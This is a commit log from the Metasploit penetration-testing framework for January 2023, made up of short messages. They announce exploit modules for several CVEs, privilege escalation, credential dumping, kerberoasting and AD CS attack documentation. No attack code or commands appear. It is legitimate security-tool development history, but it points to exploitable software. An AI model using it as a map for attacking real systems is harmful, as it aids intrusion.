h00die fa687d3614 argv instead of hardcoded payload path 2023-01-31 16:02:25 -05:00
h00die 5a374533af cve-2022-1043 2023-01-31 16:02:25 -05:00
h00die 8d58eb6279 cve-2022-1043 2023-01-31 16:02:25 -05:00
Metasploit 42542102e3 automatic module_metadata_base.json update 2023-01-31 13:59:14 -06:00
Jack Heysel 2306736383 Land #17300, the latest commit in PR 17300
I made a mistake and was not up to date with the latest commit
in the PR before I landed, this fixes that mistake.
2023-01-31 14:18:01 -05:00
Jack Heysel 022760d24a Land #17300, linux LPE cve-2022-22942 module
This PR adds a linux priv esc against VMWare virtual machines
 with kernel 4.14-rc1 - 5.17-rc1 due to a VMWare driver bug.
2023-01-31 14:07:55 -05:00
Jack Heysel e99407fe26 Updated pre_compiled binary 2023-01-31 13:37:45 -05:00
Jeffrey Martin 9c7665a017 add GSoC 2023 to navigation 2023-01-31 11:00:26 -06:00
Grant Willcox b866bf59c8 Land #17444, Fix parsing of module options with special characters 2023-01-31 10:42:16 -06:00
Grant Willcox 8805ed2b5a Last minute typo fixes 2023-01-31 10:41:47 -06:00
Jeffrey Martin 77dd6bd77e add initial 2023 GSoC ideas doc 2023-01-31 10:18:12 -06:00
Spencer McIntyre 0d9a282237 Use the new NDR types in RubySMB v3.2.4 2023-01-31 10:08:27 -05:00
Metasploit daa96f9fb7 automatic module_metadata_base.json update 2023-01-31 08:53:19 -06:00
adfoster-r7 56728fc7c2 Land #17573, modules/exploits/linux/ssh Resolve Rubocop violations 2023-01-31 14:12:03 +00:00
adfoster-r7 bbf17c167c Land #17511, add exploit for CVE-2022-44877 command injection in CentOS Control Web Panel 2023-01-31 14:05:19 +00:00
adfoster-r7 5076518fe4 Land #17559, add support for Ruby 3.2 2023-01-31 13:45:51 +00:00
cgranleese-r7 fb196cb378 Testing Ruby 3.2 against CI 2023-01-31 13:19:06 +00:00
bcoles 11cf391da8 modules/exploits/linux/ssh: Resolve Rubocop violations 2023-01-31 23:59:22 +11:00
adfoster-r7 7bb0eca931 Land #17545, use strings in YAML files 2023-01-30 22:52:19 +00:00
Metasploit 42004c07bc automatic module_metadata_base.json update 2023-01-30 16:43:35 -06:00
adfoster-r7 433099e539 Land #17563, modules/exploits/multi/local: Resolve Rubocop and msftidy_docs violations 2023-01-30 22:16:41 +00:00
Grant Willcox bfc5c563a1 Land #17570, Add new queries and attributes for ldap_query 2023-01-30 16:14:26 -06:00
Spencer McIntyre 902eaa2562 Add new queries and attributes for ldap_query 2023-01-30 16:24:23 -05:00
dwelch-r7 e3a9e5a163 Land #17565, Add Metasploit prompt color highlighting to docs 2023-01-30 13:05:08 +00:00
adfoster-r7 f3a372719c Land #17568, Plugins: Resolve Rubocop violations 2023-01-30 11:35:31 +00:00
Christophe De La Fuente f676568d89 Fix CVE 2023-01-30 12:18:08 +01:00
Christophe De La Fuente a5ba1245c2 Fix CVE 2023-01-30 12:15:14 +01:00
bcoles db90604333 plugins/bescure: Replace 'initheaders' Hash key with Hash in Net::HTTP::Post.new calls 2023-01-30 22:11:21 +11:00
bcoles 4ff475f180 plugins: Resolve rubocop violations 2023-01-30 13:07:16 +11:00
bcoles 7cf37f5fb7 plugins: rubocop -A plugins 2023-01-30 13:05:34 +11:00
bcoles dd20bcac77 plugins: rubocop -a plugins 2023-01-30 12:25:46 +11:00
h00die-gr3y a2f4a27614 updated module and added documentation 2023-01-29 10:06:14 +00:00
h00die-gr3y bf10b29a84 first drop module 2023-01-29 07:47:22 +00:00
adfoster-r7 c68ab9b77f Add Metasploit prompt color highlighting to docs 2023-01-28 22:43:33 +00:00
h00die 62d43a6e96 use exploit retry function 2023-01-28 07:44:53 -05:00
Duarte Silva a7ae3c9389 Fixed AnyConnect IPC message format:
- Made an error in the original research where the TLV had a type
  and a index, when it only has a type and a modifier that makes
  it into a TV (Type and Value, no Length).
- A TV has its value where the Length would be on a TLV.
- Also added a note on the endieness being correct/working because
  endieness has no impact in the message being used to exploit the
  vulnerability.
2023-01-28 09:08:51 +00:00
bcoles e11aaa8027 modules/exploits/multi/local: Resolve Rubocop and msftidy_docs violations 2023-01-28 15:02:24 +11:00
Metasploit 1b20db8900 automatic module_metadata_base.json update 2023-01-27 14:39:53 -06:00
Grant Willcox be85aa253d Fix input and output buffers for some mislabeled functions 2023-01-27 14:09:45 -06:00
Jack Heysel c3e73b9b11 Land #17557, Fix the logon_time in the MS14-068 2023-01-27 15:08:49 -05:00
Christophe De La Fuente 85d5b041aa Add minimum build number check 2023-01-27 18:03:19 +01:00
Grant Willcox 1782ae1ff2 Fix up links within Wiki site to make them relative links where possible 2023-01-27 10:09:02 -06:00
Grant Willcox 6043d0ffba Update all links from Wiki site to new docs site. 2023-01-27 09:58:53 -06:00
Grant Willcox 6111852df8 Land #17504, add 'favorite -l' and 'favorites' as aliases for show favorites 2023-01-27 09:37:06 -06:00
adfoster-r7 c681358f88 Land #17558, Fixes analyze command crashing with a winrm session opened 2023-01-27 15:35:40 +00:00
Spencer McIntyre 647cf1d402 Return Time from #extract_logon_time 2023-01-27 10:05:02 -05:00
Metasploit 8d4d48e005 automatic module_metadata_base.json update 2023-01-27 08:14:45 -06:00
dwelch-r7 4c54fffaed Land #17560, Present unsupported ul_types in a clearer way to the user 2023-01-27 13:50:55 +00:00
adfoster-r7 020e221c42 Present unsupported ul_types in a clearer way to the user 2023-01-27 13:40:33 +00:00
cgranleese-r7 1d8c9d3690 Fixes analyze command crashing with a winrm session opened 2023-01-27 10:45:05 +00:00
Spencer McIntyre f4976a0f9f Fix the logon_time in the MS14-068 exploit 2023-01-26 16:16:55 -05:00
Christophe De La Fuente e01239cf7b Add exploit module and documentation 2023-01-26 21:53:14 +01:00
Metasploit d80a18a00c Bump version of framework to 6.3.1 2023-01-26 13:40:05 -06:00
Jeffrey Martin dc6c1e333b Land #17553, Framework 6.3.0 2023-01-26 13:30:27 -06:00
Jeffrey Martin bdb0cadc4f Land #17291, Add support for rails 7 2023-01-26 11:50:29 -06:00
adfoster-r7 672fb9ce9f Land #17460, add support for feature kerberos authentication 2023-01-26 17:47:27 +00:00
Christophe De La Fuente ed2dd2fc0c Add randomization in the XML when possible & fix BadChars issue 2023-01-26 18:42:09 +01:00
adfoster-r7 ab60df7cda Land #17519, improve SMTP delivery error handling 2023-01-26 17:02:02 +00:00
dwelch-r7 4254276c26 Land #17531, Change kerberos option name namespacing convention to :: 2023-01-26 16:29:11 +00:00
Spencer McIntyre 1b34e5923f Land #17551, Fix issue on nil kerberos username
Fix force encoding issue on nil kerberos username
2023-01-26 11:23:05 -05:00
adfoster-r7 2d30909a2f Change option name namespacing convention 2023-01-26 16:17:50 +00:00
adfoster-r7 d90398d217 Land #17549, Catch Encryption Errors In inspect_ticket 2023-01-26 16:15:21 +00:00
cgranleese-r7 fb79a5f9d2 Land #17547, Remove KRB5CCNAME env var on bootup 2023-01-26 16:11:03 +00:00
Grant Willcox 87b9152314 Continue fixing versions of Ruby in YAML files not being properly quoted like they should be. 2023-01-26 09:49:08 -06:00
Spencer McIntyre fc0324f28b Consistently print keys without \x 2023-01-26 10:49:05 -05:00
adfoster-r7 a2aef99bb2 Fix force encoding issue on nil kerberos username 2023-01-26 15:25:49 +00:00
adfoster-r7 9e218116c0 Land #17543, update docs build to support relative links that start with ./ 2023-01-26 15:23:45 +00:00
Jeffrey Martin b295429fc9 latest metasploit-credential gem 2023-01-26 09:22:56 -06:00
Christophe De La Fuente 2be22752be Add Linuc specifics and documentation 2023-01-26 16:16:00 +01:00
Jeffrey Martin 7d221af4a0 Land #17546, deprecation warning for secrets dump 2023-01-26 08:28:22 -06:00
Spencer McIntyre 2da5d8ea43 Catch exceptions in inspect_ticket 2023-01-26 09:21:55 -05:00
adfoster-r7 992883b1a6 Remove KRB5CCNAME env on bootup 2023-01-26 12:09:55 +00:00
adfoster-r7 d5781ed021 Land #17532, Fix bad DN discovery code and fix bug with querying schema data 2023-01-26 10:43:13 +00:00
adfoster-r7 25ba3304ab Fix rails 7 deprecation warning for secrets dump module 2023-01-26 10:22:28 +00:00
dwelch-r7 2a73ac01e0 Land #17544, Fix ticket cache client metadata 2023-01-25 21:58:36 +00:00
Grant Willcox 71aa4bdace Update ldap_query with find_schema_dn function to find the schema DN which may not be the same as the base DN so we can query security attributes of entries 2023-01-25 15:19:29 -06:00
adfoster-r7 086e2f1b05 FIx ticket cache client metadata 2023-01-25 20:17:51 +00:00
Grant Willcox 3acae04042 Fix up relative path linking with paths that start with a / or ./ so they can now properly link without ambiguity cases. 2023-01-25 13:05:52 -06:00
Spencer McIntyre f81195d0cc Fix a typo 2023-01-25 13:45:18 -05:00
adfoster-r7 b9430da155 Land #17541, Fixes a crash when running smb_login with a blank domain 2023-01-25 18:42:32 +00:00
adfoster-r7 3d003ff14c Land #17540, Handle KDC_ERR_CERTIFICATE_MISMATCH for certifried 2023-01-25 18:39:20 +00:00
adfoster-r7 ea96629925 Bump Metasploit version to 6.3.0 2023-01-25 18:36:48 +00:00
Spencer McIntyre 427e354328 Land #17538, Fix smb login crash
Fix smb login crash with kerberos options set
2023-01-25 13:35:14 -05:00
dwelch-r7 e434b65d9d Land #17535, Add NTLM Hash Extraction via PKINIT to get_ticket 2023-01-25 18:34:18 +00:00
cgranleese-r7 cc0fbbc4e3 Fixes a bug were if realm was blank console would crash 2023-01-25 18:26:47 +00:00
Dean Welch 5b473e4ede Handle KDC_ERR_CERTIFICATE_MISMATCH for certifried 2023-01-25 18:22:54 +00:00
dwelch-r7 dc76f66649 Land #17539, Add additional kerberos error codes 2023-01-25 18:19:12 +00:00
adfoster-r7 eb59d08516 Add additional kerberos error codes 2023-01-25 18:08:07 +00:00
Spencer McIntyre 21f33296b7 Consolidate PKINIT hash extraction code 2023-01-25 12:16:42 -05:00
Spencer McIntyre dba1198a09 Fix a definition in krb5_pac.rb 2023-01-25 11:18:54 -05:00
dwelch-r7 4f574d141a Land #17533, Combine pkinit_login with get_ticket 2023-01-25 15:43:12 +00:00
Spencer McIntyre c7ba117fed Land #17534, Update kerberos cipher negotiattion
Update kerberos to negotiate rc4 if aes256 is disabled
2023-01-25 10:19:40 -05:00
Spencer McIntyre 44d8304beb Report the PKCS12 error message 2023-01-25 10:02:37 -05:00
adfoster-r7 d57c56e4a4 Land #17496, update klist to support deleting and deactivating by id 2023-01-25 14:53:05 +00:00
adfoster-r7 24a8582a7b Fix smb login crash with kerberos options set 2023-01-25 13:58:29 +00:00
Spencer McIntyre dbe9ee3a77 Update documentation 2023-01-25 08:39:52 -05:00
Spencer McIntyre a5e2c5b3b7 Unify pkinit_login with get_ticket 2023-01-25 08:36:26 -05:00
Spencer McIntyre 785e2caa9f Refactor #send_request_tgt_pkinit, clarify docs 2023-01-25 08:36:26 -05:00
Dean Welch c143124344 Add feature to set the status of ticket/ccache via klist 2023-01-25 13:28:43 +00:00
adfoster-r7 8d4b1ce3c1 Use the credential etype instead of the encrypted ticket etype 2023-01-25 13:20:50 +00:00
dwelch-r7 effbfe8f58 Land #17536, Update docs to support links with anchors 2023-01-25 12:43:37 +00:00
adfoster-r7 64339f9d4c Land #17537, improve rendered output of docs 2023-01-25 12:37:45 +00:00
adfoster-r7 4c50456b6a Update docs to support links with anchors 2023-01-25 12:16:15 +00:00
cgranleese-r7 930ae1a8c2 Makes adjustments to how docs are formatted to improve rendered output 2023-01-25 12:07:52 +00:00
adfoster-r7 d18beb486d Update kerberos to negotiate rc4 if aes256 is disabled 2023-01-25 00:27:00 +00:00
Spencer McIntyre 2b2e20bd78 Land #17399, Document ESC attack workflow in Wiki 2023-01-24 19:18:50 -05:00
Spencer McIntyre 944645f6d4 Land #17528, Add get user spns example docs
Add get user spns example to kerberoasting docs
2023-01-24 19:15:44 -05:00
Grant Willcox de27166dc9 Move location of the Attacking AD CS writeup and update navigation.rb accordingly 2023-01-24 16:57:14 -06:00
Grant Willcox 86f2af53c9 Remove extra section and try fix up the relative references for the document 2023-01-24 16:39:09 -06:00
Spencer McIntyre 8c1370085d Land #17530, Add conditions to forge_ticket module
Add conditions metadata to forge_ticket module
2023-01-24 09:12:41 -05:00
adfoster-r7 9babcf3564 Add conditions to forge ticket 2023-01-24 13:28:10 +00:00
adfoster-r7 e81bed0378 Land #17526, groups the show options command by their conditions 2023-01-24 13:21:17 +00:00
cgranleese-r7 854fc1400e Improve show options to include options with conditions 2023-01-24 10:43:14 +00:00
adfoster-r7 772ee93612 Add get user spns example to kerberoasting docs 2023-01-24 01:03:13 +00:00
Christophe De La Fuente 38f0d33d6b Add exploit module 2023-01-24 00:55:45 +01:00
Grant Willcox 4c4e6a5802 Fix up navigation issue again 2023-01-23 17:05:36 -06:00
Grant Willcox 05cc578fcd Correct navigation.rb 2023-01-23 14:34:41 -06:00
Grant Willcox 148e591a4e Add in overview about AD CS and what it is used for 2023-01-23 14:33:10 -06:00
Grant Willcox 3b357eed70 Move updated setup guide over to appropriate place and update some of the template with more details 2023-01-23 14:27:28 -06:00
Grant Willcox 5b2a7cc151 Update explanation to clarify ESC3 attacks and how to abuse them 2023-01-23 14:00:00 -06:00
Grant Willcox e73836d4c3 Rename files to appropriate names, fix up typos and add better setup points 2023-01-23 13:59:55 -06:00
Grant Willcox 43aca85d4d Add page on setting up an AD CS target to the navigation.rb file 2023-01-23 13:59:55 -06:00
Grant Willcox 71860a0ea8 Add in seperate page for setting up AD CS environment and also make explanation of ESC vulns clearer and higher up in document. 2023-01-23 13:59:54 -06:00
Grant Willcox 5df6d5d511 Fix navigation and some typos 2023-01-23 13:59:54 -06:00
Grant Willcox 1e8a289088 Add in initial commit of attacking ADCS ESC vulnerability documentation 2023-01-23 13:59:54 -06:00
Metasploit 8368accd55 automatic module_metadata_base.json update 2023-01-23 13:50:39 -06:00
space-r7 153af9fb68 Land #17407, add Cacti unauth command injection 2023-01-23 13:06:46 -06:00
Grant Willcox 5106d33ca4 Land #17518, Add the Python command adapter for Windows 2023-01-23 13:01:38 -06:00
bwatters d356b34422 Land #17499, Show extended error information for ICPR
Merge branch 'land-17499' into upstream-kerberos
2023-01-23 12:19:13 -06:00
space-r7 58cd5bb003 specify command stager flavors 2023-01-23 11:53:19 -06:00
Jeffrey Martin 90dc90cbab future proof legacy connection 2023-01-23 10:03:32 -06:00
Jeffrey Martin 58172267ac update to latest Rails 7 gem 2023-01-23 09:59:21 -06:00
Jeffrey Martin 6b64a15ab1 updated metasploit_data_models 2023-01-23 09:59:19 -06:00
Jeffrey Martin 1323889b65 update to released Rails 7 supported deps 2023-01-23 09:58:22 -06:00
Jeffrey Martin 5ce04e97e8 update Gemfile dev deps 2023-01-23 09:57:51 -06:00
Jeffrey Martin 149870d8a5 update Ruby version requirement 2023-01-23 09:57:16 -06:00
Jeffrey Martin f78592bf3f update db/schema.rb for Rails 7 2023-01-23 09:57:16 -06:00
Jeffrey Martin 177f1ec4d8 update that may need guards depending on execution 2023-01-23 09:57:15 -06:00
Jeffrey Martin d9716ebecf core updates for Rails 7 2023-01-23 09:57:09 -06:00
cgranleese-r7 bca40df16b Land #17524, Add additional documentation for mssql and ldap 2023-01-23 15:30:07 +00:00
Spencer McIntyre ed69cb19b2 Land #17520, Remove verbose info in LDAP output
Remove extra info from verbose mode of LDAP output
2023-01-23 09:30:36 -05:00
cgranleese-r7 af740aea85 Land #17515, Use shared helper for creating kerberos options 2023-01-23 13:37:00 +00:00
dwelch-r7 2f6e45af16 Land #17525, Fix deprecation warning in socks proxy 2023-01-23 12:55:04 +00:00
adfoster-r7 20408f4446 Fix deprecation warning in socks proxy 2023-01-23 12:05:57 +00:00
adfoster-r7 e119713c6f Add additional documentation for mssql and ldap 2023-01-23 11:46:51 +00:00
adfoster-r7 9a6c298a43 Use shared helper for creating kerberos options 2023-01-23 11:04:01 +00:00
RageLtMan 27d6a89b99 Use keepalive in SSM aux module 2023-01-21 09:26:06 -05:00
RageLtMan 453baca109 Drop mask_write, tweak logging 2023-01-21 08:29:28 -05:00
RageLtMan 589c2257e3 Implement reporting and pretty output 2023-01-20 23:17:34 -05:00
RageLtMan 3e54ae6e69 Resolve crashes noted by @smcintyre-r7, simplify
Bail out of console resize operation if ::IO.console doesn't exist
Enforce REGION datastore option and remove the multi-region enum
code by Aaron - users can write resource scripts if they need
automation.
2023-01-20 22:33:51 -05:00
adfoster-r7 414a54886c Land #17521, Fix up text so we capitalize all words of Metasploit Framework 2023-01-21 00:23:50 +00:00
Grant Willcox dcda0c2ebc Fix up text so we capitalize all words of Metasploit Framework 2023-01-20 17:05:20 -06:00
Grant Willcox 1975c92e92 Remove extra info from verbose mode of LDAP output 2023-01-20 16:51:34 -06:00
Spencer McIntyre 9d07f206fc Bump windows_error to 0.1.5 2023-01-20 16:29:24 -05:00
Spencer McIntyre 190249b993 Bump ruby_smb to 3.2.2 2023-01-20 16:29:24 -05:00
Spencer McIntyre a37cec40fc Show extended error information for ICPR 2023-01-20 16:29:18 -05:00
Grant Willcox cd5842e3f4 Land #17340, Warn On Ignoring Bind Information for Reverse Port Forwarding 2023-01-20 14:40:22 -06:00
Spencer McIntyre 81295e40fa Report the host that's returned from Meterpreter
Report the host that's returned from Meterpreter because that's the most
accurate source of the information.
2023-01-20 14:15:14 -06:00
Spencer McIntyre 729de2478c Warn that the remote host is ignored 2023-01-20 14:15:13 -06:00
Spencer McIntyre 17d8db43a9 Print IPv6 addresses correctly 2023-01-20 14:15:13 -06:00
Spencer McIntyre 7678e7c8ea Pass bind address for reverse port forwards 2023-01-20 14:15:13 -06:00
Spencer McIntyre 2621775053 Add the Python command adapter for Windows 2023-01-20 15:10:39 -05:00
Grant Willcox e537816132 Land #17516, Update metasploit-payloads gem to 2.0.108 2023-01-20 13:55:33 -06:00
Jeffrey Martin 9be26eb0ff improve SMTP delivery error handling 2023-01-20 11:26:25 -06:00
Spencer McIntyre 15237e5154 Update metasploit-payloads gem to 2.0.108
Includes changes from:
  * rapid7/metasploit-payloads#599
  * rapid7/metasploit-payloads#600
  * rapid7/metasploit-payloads#602
2023-01-20 09:21:28 -05:00
Spencer McIntyre 6fe0933c1e Add exploit for CVE-2022-44877 2023-01-20 09:04:24 -05:00
dwelch-r7 ebaf51108c Land #17490, Update impacket get user spns 2023-01-20 13:21:19 +00:00
Christophe De La Fuente 22f45c9a2e Land #17513, Update get ticket module to use aes_key and username convention 2023-01-20 12:44:23 +01:00
dwelch-r7 b2c20dfc51 Land #17514, Fix crash in winrm_script_exec when using Kerberos authentication 2023-01-20 11:21:24 +00:00
adfoster-r7 aaad9436f2 Fix winrm offered etypes 2023-01-20 10:59:25 +00:00
adfoster-r7 4c17b93ca8 Update get ticket module to use aes_key and username convention 2023-01-20 10:47:35 +00:00
Jack Heysel 6ac0d9ba27 Trailing whitespace corrected 2023-01-19 22:16:54 -05:00
h00die 633c58a0ff tomcat on rhel priv esc 2023-01-19 15:28:10 -05:00
Jack Heysel 0e0f62c002 Removed 22621 2023-01-19 14:47:20 -05:00
Jack Heysel 4da94325f3 Rubocop 2023-01-19 13:52:58 -05:00
Metasploit 3602a420d3 Bump version of framework to 6.2.37 2023-01-19 12:05:00 -06:00
Metasploit bca837413f automatic module_metadata_base.json update 2023-01-19 09:57:30 -06:00
Christophe De La Fuente 1e94adc3ab Land #17479, Wordpress paid membership pro unauthenticated sqli (CVE-2023-23488) 2023-01-19 15:36:00 +01:00
Jack Heysel d7215b84b4 Added offsets for W11 22H2 2023-01-19 09:30:28 -05:00
Spencer McIntyre 0e6ae486d1 Land #17501, Update AD CS spelling
Initial update of ADCS to be AD CS for appropriate spelling
2023-01-19 08:38:46 -05:00
ErikWynter 6419f2d5a5 add 'favorite -l' and 'favorites' as aliases for show favorites 2023-01-19 14:21:45 +02:00
Jack Heysel 63d9445911 Fix for Win Server 2022 and 2019 2023-01-19 00:52:38 -05:00
h00die 3a0b694790 better engrish 2023-01-18 20:12:49 -05:00
Grant Willcox 82fe7120d4 Update ADCS to be AD CS so we have appropriate spelling 2023-01-18 17:07:48 -06:00
bwatters b406699c86 Land #17497, Return if there is no certificate to process
Merge branch 'land-17497' into upstream-kerberos
2023-01-18 16:15:04 -06:00
h00die 642e6ee1cb review 2023-01-18 16:21:11 -05:00
h00die c823295915 cleanup better 2023-01-18 16:19:48 -05:00
npm-cesium137-io d0feedadbf Refine whatsupgold_credential_dump
Added CVE info to the References section.

Modified the registry routines to add sanity around x86 vs. x64 arch.
2023-01-18 15:47:26 -05:00
Spencer McIntyre 9bf7617409 Return if there is no certificate to process 2023-01-18 15:05:54 -05:00
Spencer McIntyre ebfcfd4cb9 Land #17066, Add module for Certifried
Add exploit module for Certifried exploit
2023-01-18 14:51:03 -05:00
npm-cesium137-io 8ed4f59c60 veeam_credential_dump refinement
Fixed stupid typo in markdown.

Fixed a bug in the export code that prevented the disposition column
from being exported.
2023-01-18 14:27:28 -05:00
Christophe De La Fuente 64ddc6bb4c Land #17484, Add additional kerberos documentation 2023-01-18 19:40:28 +01:00
Christophe De La Fuente 2072111713 Fix from code review & some improvments
- Improve option validation
- Always request an impersonated TGS for `cifs/...` SPN
- SPN option now is used to request an additional TGS for another SPN
- Add exception handling for Kerberos errors
- Only remove the computer account if it has been created
2023-01-18 19:28:06 +01:00
Grant Willcox 524ab66d2c Land #17482, Update min protocol for https server for openssl3 2023-01-18 11:01:32 -06:00
adfoster-r7 77b0fcb2f5 Update min protocol for https server for openssl3 2023-01-18 10:59:26 -06:00
bwatters ed0ede0cad Land #17472, Always autocomplete options regardless of condition filtering
Merge branch 'land-17472' into upstream-kerberos
2023-01-18 10:59:16 -06:00
adfoster-r7 c55fcb6ca6 Add additional kerberos documentation 2023-01-18 16:58:34 +00:00
dwelch-r7 067126af44 Land #17493, Add additional datastore validation to forge ticket 2023-01-18 12:33:12 +00:00
adfoster-r7 a28666d3c5 Add additional datastore validation to forge ticket 2023-01-18 10:46:32 +00:00
Jack Heysel 2c2bfec4a0 Tested on Windows Build 19044, 19045 and 22000 2023-01-18 01:41:30 -05:00
Grant Willcox c0ddead75f Land #17480, Add payload exploit command 2023-01-17 17:52:32 -06:00
Spencer McIntyre 365b71d60f Land #17471, Update get_ticket cache logic
Update kerberos get_ticket cache logic
2023-01-17 18:49:08 -05:00
Grant Willcox b8bea10296 Land #17491, Fix LDAP Failure References 2023-01-17 17:22:10 -06:00
Metasploit 69464b3df2 automatic module_metadata_base.json update 2023-01-17 17:17:21 -06:00
bwatters 607dd9f081 Land #17348, New exploit for CVE-2022-46770 Mirage firewall DoS
Merge branch 'land-17348' into upstream-master
2023-01-17 16:52:38 -06:00
adfoster-r7 235888b77e Land #17492, Remove CI crash example from Docs 2023-01-17 22:47:10 +00:00
bwatters 470972b91d Land #17385, Return success code for writing and appending file in command shells 2023-01-17 16:37:06 -06:00
Spencer McIntyre d810267f8d Pull in Dean's changes from #17443 to fix LDAP failure references. 2023-01-17 16:31:08 -06:00
h00die d0abb5697b re-add license stuff 2023-01-17 17:31:01 -05:00
bwatters 0dbb0dc8c9 Fix margins for readability and delete file 2023-01-17 17:28:27 -05:00
bwatters d1f878c4f0 Fix spelling 2023-01-17 17:28:27 -05:00
bwatters 158c557d58 Update LICENSE file and location of source file 2023-01-17 17:28:22 -05:00
Grant Willcox 43d4a3ca7e Remove CI crash example since its unneeded and extra overhead to maintain 2023-01-17 16:04:46 -06:00
h00die e28ff3b160 minor fixes 2023-01-17 15:30:36 -05:00
h00die be7ca91a8f cve-2022-22942 2023-01-17 15:30:36 -05:00
adfoster-r7 7f62fa33f3 Update impacket get user spns 2023-01-17 19:53:42 +00:00
Metasploit 5dee00be0c automatic module_metadata_base.json update 2023-01-17 13:33:02 -06:00
Grant Willcox 3b1380b164 Land #17449, Ivanti Cloud Services Appliance unauthenticated cookie-based command injection [CVE-2021-44529] 2023-01-17 13:08:12 -06:00
Grant Willcox 7e23c34e6c Apply fixes per code review 2023-01-17 12:44:22 -06:00
h00die-gr3y 541dab9365 simplified messaging 2023-01-17 12:44:20 -06:00
h00die-gr3y da3ae22135 added documentation 2023-01-17 12:44:20 -06:00
h00die-gr3y 77687bff3f init module 2023-01-17 12:44:20 -06:00
adfoster-r7 d8cf034d70 Land #17488, Remove references to Travis CI 2023-01-17 17:20:44 +00:00
Grant Willcox aceb4c57c6 Remove references to Travis CI since we no longer use it and now use GitHub Actions 2023-01-17 10:28:21 -06:00
Metasploit c429113f5e automatic module_metadata_base.json update 2023-01-17 08:23:26 -06:00
Spencer McIntyre a10e313e26 Land #17343, unquoted service path tweaks 2023-01-17 08:59:37 -05:00
adfoster-r7 5ed2fe9ad2 Update kerberos get_ticket cache logic 2023-01-17 00:32:18 +00:00
Hamilton Tobon Mosquera d01060f40f docs: how to set complex options using quotes 2023-01-16 17:38:20 -05:00
Metasploit da22f18256 automatic module_metadata_base.json update 2023-01-16 14:17:56 -06:00
Christophe De La Fuente 0c8e83c34e Land #17451, Crack netntlm* 2023-01-16 20:52:53 +01:00
cgranleese-r7 202eb85066 Land #17470, Update kerberos login to support diacritics 2023-01-16 12:22:44 +00:00
adfoster-r7 5ef1f9f4f4 Update kerberos login to support diacritics 2023-01-16 12:08:54 +00:00
cgranleese-r7 7a2f6fef86 Land #17477, Merge 6.2.36 master into kerberos feature branch 2023-01-16 11:53:21 +00:00
adfoster-r7 b4797ba74f Land #17422, Add kerberoasting documentation 2023-01-16 10:30:20 +00:00
adfoster-r7 f637885f0a Land #17468, Fix error when printing ticket contents from a kirbi file format 2023-01-16 10:07:36 +00:00
adfoster-r7 5b3db9abc0 Update min protocol for https server for openssl3 2023-01-15 14:08:26 +00:00
h00die a28b203f73 payload exploit command 2023-01-15 05:38:15 -05:00
h00die 1888264d4d wordpress paid membership pro 2023-01-14 08:34:10 -05:00
h00die 0ac4d3d2e6 doc how to set permissions on service 2023-01-13 17:07:17 -05:00
Spencer McIntyre 3ddcf73c2b Remove the QUICK option altogether
Use blocks to check whether each service is exploitable as they are
enumerated. With this change, it is the service and path enumeration
halts once an exploitable one is found that yields a session.

Also all files are registered for cleanup.
2023-01-13 17:06:42 -05:00
h00die f98d1d838b unquoted service path tweaks to check 2023-01-13 17:06:42 -05:00
h00die 90a12cf3b0 unquoted service path tweaks 2023-01-13 17:06:42 -05:00
h00die a6ec7762ea unquoted service path tweaks 2023-01-13 17:06:42 -05:00
h00die c52eb09cbb unquoted service path tweaks 2023-01-13 17:06:42 -05:00
Dean Welch 1470396f95 Refactor key validation for inspect_ticket and add module tests 2023-01-13 17:42:32 +00:00
adfoster-r7 eddac9321c Merge 6.2.36 master into kerberos feature branch 2023-01-13 17:31:02 +00:00
cgranleese-r7 25550a4ef0 Land #17475, Enable new datastore implementation by default 2023-01-13 16:40:58 +00:00
cgranleese-r7 436e1489c7 Land #17473, Add edit link to docs website 2023-01-13 16:38:07 +00:00
Jeffrey Martin 99b2e1d709 add aws ssm gem to lock file 2023-01-13 09:59:05 -05:00
RageLtMan 14f992aa88 Address some of @smcityre-r7's comments
Explicitly `require 'aws-sdk-ec2'` in the aux module
Fix the hard-coded region to use datastore option
2023-01-13 09:55:51 -05:00
RageLtMan 274bf6dcb7 Make SSM keepalive optional 2023-01-13 09:54:34 -05:00
Christophe De La Fuente 3d22fbcad9 Add exploit module for Certifried exploit
- Move all the logic from `modules/auxiliary/admin/dcerpc/icpr_cert.rb`
  to `lib/msf/core/exploit/remote/ms_icpr.rb` library
- Move all the logic from `modules/auxiliary/admin/dcerpc/samr_computer.rb`
  to `lib/msf/core/exploit/remote/ms_samr.rb` library
- Add `modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb` module
- Update the SMB client to disable SSL by default
- Add documentation
- Kerbero client: pass `options` as argument to `send_request_as`
- `calculate_shared_key` returns an EncryptionKey instead of the raw key
- Update `pkinit_login` module to make it compatible
- Add support to `additional_tickets` when requesting tickets
- Add support to PAC CredentialInfo structures
- Add impersonation to escalate privileges
- Add ACTIONS
- Use elevated TGS to delete the computer account
- Update and add specs
2023-01-13 15:30:50 +01:00
adfoster-r7 e3cd004003 Add edit link to docs website 2023-01-13 14:01:40 +00:00
adfoster-r7 19d2e985ef Enable new datastore implementation by default 2023-01-13 13:51:56 +00:00
adfoster-r7 a36882aee3 Always autocomplete options regardless of condition filtering 2023-01-13 13:11:32 +00:00
ErikWynter 8472efed02 fix typos, add reference, don't use methods to wrap datastore options 2023-01-13 14:53:29 +02:00
Dean Welch 75153aded3 Fix missing method error when printing ticket contents from a kirbi file format 2023-01-13 10:19:07 +00:00
Steve E b67f001e2a post-testing typo fix 2023-01-12 20:02:20 +00:00
Steve E 1afecd0884 force t3 over ssl option 2023-01-12 19:42:55 +00:00
Metasploit c4d9206d9c automatic module_metadata_base.json update 2023-01-12 12:41:33 -06:00
Spencer McIntyre 551990a945 Land #17466, report smb version information
fix #16394: SMB_Version Module does not report SMB Version into Notes
2023-01-12 13:16:05 -05:00
Metasploit 80016b2d22 Bump version of framework to 6.2.36 2023-01-12 12:10:45 -06:00
Metasploit 953621860a automatic module_metadata_base.json update 2023-01-12 09:36:26 -06:00
Christophe De La Fuente 29968fb76e Land #17337, Gather Dbeaver Password 2023-01-12 16:06:00 +01:00
cgranleese-r7 9c2b8138a7 Land #17456, Make the Kerberos Encryption Type Configurable 2023-01-12 13:25:48 +00:00
adfoster-r7 0669ee1f72 Land #17395, Adds docs for RPC workflows to docs site 2023-01-12 12:50:55 +00:00
cgranleese-r7 e81b08563e Add additional metasploit rpc documentation 2023-01-12 11:21:41 +00:00
Jack Heysel 145589f7a2 Add GetPteBaseW10 2023-01-12 01:15:23 -05:00
Wrathdemon becf613022 fix #16394: SMB_Version Module does not report SMB Version into Notes 2023-01-12 09:29:53 +05:30
三米前有蕉皮 0b2cf18197 Merge pull request #1 from cdelafuente-r7/dbeaver_gather_cred_fixes
